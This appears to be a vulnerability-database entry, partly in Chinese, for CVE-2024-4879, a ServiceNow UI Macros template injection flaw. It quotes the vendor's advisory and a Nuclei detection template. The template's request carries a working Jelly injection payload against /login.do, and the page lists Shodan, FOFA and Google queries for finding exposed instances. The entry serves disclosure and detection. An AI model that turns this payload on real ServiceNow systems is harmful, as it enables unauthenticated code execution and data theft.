CVE-2024-4879: ServiceNow UI Macros - Template Injection

日期: 2025-08-01 | 影响软件: ServiceNow | POC: 已公开

漏洞描述

ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington DC Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. ServiceNow applied an update to hosted instances, and ServiceNow released the update to our partners and self-hosted customers. Listed below are the patches and hot fixes that address the vulnerability. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.

PoC代码[已公开]

id: CVE-2024-4879

info:
  name: ServiceNow UI Macros - Template Injection
  author: DhiyaneshDk,ritikchaddha
  severity: critical
  description: |
    ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington DC Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. ServiceNow applied an update to hosted instances, and ServiceNow released the update to our partners and self-hosted customers. Listed below are the patches and hot fixes that address the vulnerability. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.
  reference:
    - https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1645154
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4879
  classification:
    epss-score: 0.94349
    epss-percentile: 0.99953
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2024,servicenow,ssti,kev,vkev

http:
  - raw:
      - |
        GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j="jelly"%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(1337*1337);</g:evaluate></j:jelly></style> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<div class="outputmsg_text">1787569</div>'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206454f94605b1e9e496c2c4366d8ebe8e122ca39faef545778dd0e5ab31cf2655022100970df5499700de1c7dbdd312f24fffe38d1e8de0913ae3434be8f2033c0aefd8:922c64590222798bb761d5b6d8e72950

相关漏洞推荐